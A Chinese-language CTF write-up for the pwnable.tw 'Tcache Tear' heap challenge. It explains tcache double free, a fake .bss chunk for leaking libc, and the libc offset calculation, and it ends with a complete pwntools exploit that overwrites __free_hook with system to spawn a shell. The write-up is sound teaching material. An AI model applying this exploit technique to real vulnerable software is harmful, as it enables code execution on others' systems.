跟着大佬的wp写的,记录了一些收获和见解
参考 和媳妇一起学Pwn 之 Tcache Tear | Clang裁缝店 (xuanxuanblingbling.github.io)
[pwnable.tw] Tcache tear — 利用bss构造堆块的地址泄露技巧-腾讯云开发者社区-腾讯云 (tencent.com)
准备工作 先查看一下libc版本,2.27版本,在2.26版本的时候添加了tcache,虽然tcache提高了性能,但是却舍弃了很多检查,就好比double free
1 strings libc.so| grep "GNU"
设置本地调试的文件
1 patchelf --set-interpreter [ld.so路径] --set-rpath [libc所在目录] [elf文件]
比如我是
1 patchelf --set-interpreter ~/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath ~/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ ./pwn
利用一:tcache dup任意地址写 在fastbin中,我们不能连续释放同一个堆块达到double free的目的,要达到double free的目的,我们需要如下步骤:先申请两个堆块,释放第一个堆块,再释放第二个堆块,然后再次释放第一个堆块,从而double free
在此之前我对double free表示不理解,因为没有接触过利用方法,不过写完这道题后我对double free的利用方法就有了一个大致的方向
double free后,fastbin中的链式结构如下,由此可以看到,a和b形成了一个环
此时,当我们再次申请一个和a等大的chunk时,fastbin如下
如果我们在申请的同时在a中写入内容,假设我们输入一个地址,那么fastbin就会变成这样
1 fastbin -> b -> a -> [输入的地址]
那么此时我们再申请掉2次,在第三次申请的时候就可以申请到我们输入的地址的内存空间,从而对指定的地址的内容进行改写
所以double free的模拟代码如下
1 2 3 4 5 6 7 8 9 10 11 a = malloc (0x20 ) b = malloc (0x20 ) free (a);free (b);free (a);malloc (0x20 ,addr)malloc (0x20 )malloc (0x20 )malloc (0x20 ,data)
但是在2.27版本的tcache中,我们不用这么麻烦,可以直接连续释放同一个chunk 2次,即
1 2 3 4 5 6 7 8 a = malloc (0x20 ); free (a);free (a);malloc (0x20 ,addr)malloc (0x20 )malloc (0x20 ,data)
利用二:伪造大堆块泄露libc地址(house of spirit) 任意地址写有了,就要尝试如何泄露地址了
house of spirit的利用思路如下
利用任意地址写,在bss段构造大小超出0x408的伪堆块
然后free掉,使其进入unsorted bin中
利用info函数,读取其内容即可
我们先在输入name的时候构造好大堆块的前0x10个字节,然后利用地址任意写再构造2个堆块,大堆块用于泄露libc地址,小堆块则用于满足堆块的格式,至少是2个,因为在free的时候,会对当前堆块的后面的堆块进行检查
计算libc偏移 我比较想说的还是这个偏移的计算,我在网上搜索了很多文章,但是没看到有人讲这个偏移是怎么算的,所以我在这里记录一下我是如何计算偏移的(我的方法可能比较笨)
在free伪造的大堆块后下断点,可以看到此时0x602070中的内容(也就是大堆块的内容)已经变成了unsorted bin的地址0x00007fe0c8324ca0,然后我们打印出libc中puts的偏移0x809c0,然后通过puts的真实地址来计算偏移,即:0x7fe0c8324ca0 - (0x7fe0c7fb99c0 - 0x809c0) = 0x3ebca0
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import *from struct import packfrom LibcSearcher import *from ae64 import AE64import base64from ctypes import *debug = 0 if debug: p = process('/home/feichai/ctf_file/tcache_tear' ) libc=ELF("/home/feichai/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6" ) else : p = remote('chall.pwnable.tw' , 10207 ) libc=ELF("/home/feichai/ctf_file/libc.so" ) context(arch="amd64" ,os="linux" ,log_level="debug" ) elf=ELF("/home/feichai/ctf_file/tcache_tear" ) libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) def add (size,data ): p.sendlineafter(b"Your choice :" ,b'1' ) p.sendlineafter(b"Size:" ,str (size)) p.sendlineafter(b"Data:" ,data) def free (): p.sendlineafter(b"Your choice :" ,b'2' ) def show (): p.sendlineafter(b"Your choice :" ,b'3' ) def pwn (): bss_name = 0x602060 name = p64(0 ) + p64(0x511 ) p.recvuntil(b"Name:" ) p.send(name) add(0x68 , b"aaaa" ) free() free() add(0x68 , p64(bss_name+0x510 )) add(0x68 , b"bbbb" ) payload = p64(0 ) + p64(0x21 ) + p64(0 )*3 + p64(0x21 ) add(0x68 , payload) add(0x78 , b"cccc" ) free() free() add(0x78 , p64(bss_name+0x10 )) add(0x78 , b"dddd" ) payload = p64(0 ) + p64(0 ) add(0x78 , payload) free() show() p.recvuntil(b"Name :" ) p.recv(0x10 ) libc_leak = u64(p.recv(8 )) libc_base = libc_leak - 0x3ebca0 system = libc_base + libc.symbols[b"system" ] free_hook = libc_base + libc.symbols[b"__free_hook" ] print ("system_addr:" ,hex (system)) print ("free_hook:" ,hex (free_hook)) add(0x58 , b"e" *8 ) free() free() add(0x58 , p64(free_hook)) add(0x58 , b"ffff" ) add(0x58 , p64(system)) add(0x18 , b"/bin/sh\x00" ) free() p.interactive() if __name__=='__main__' : pwn()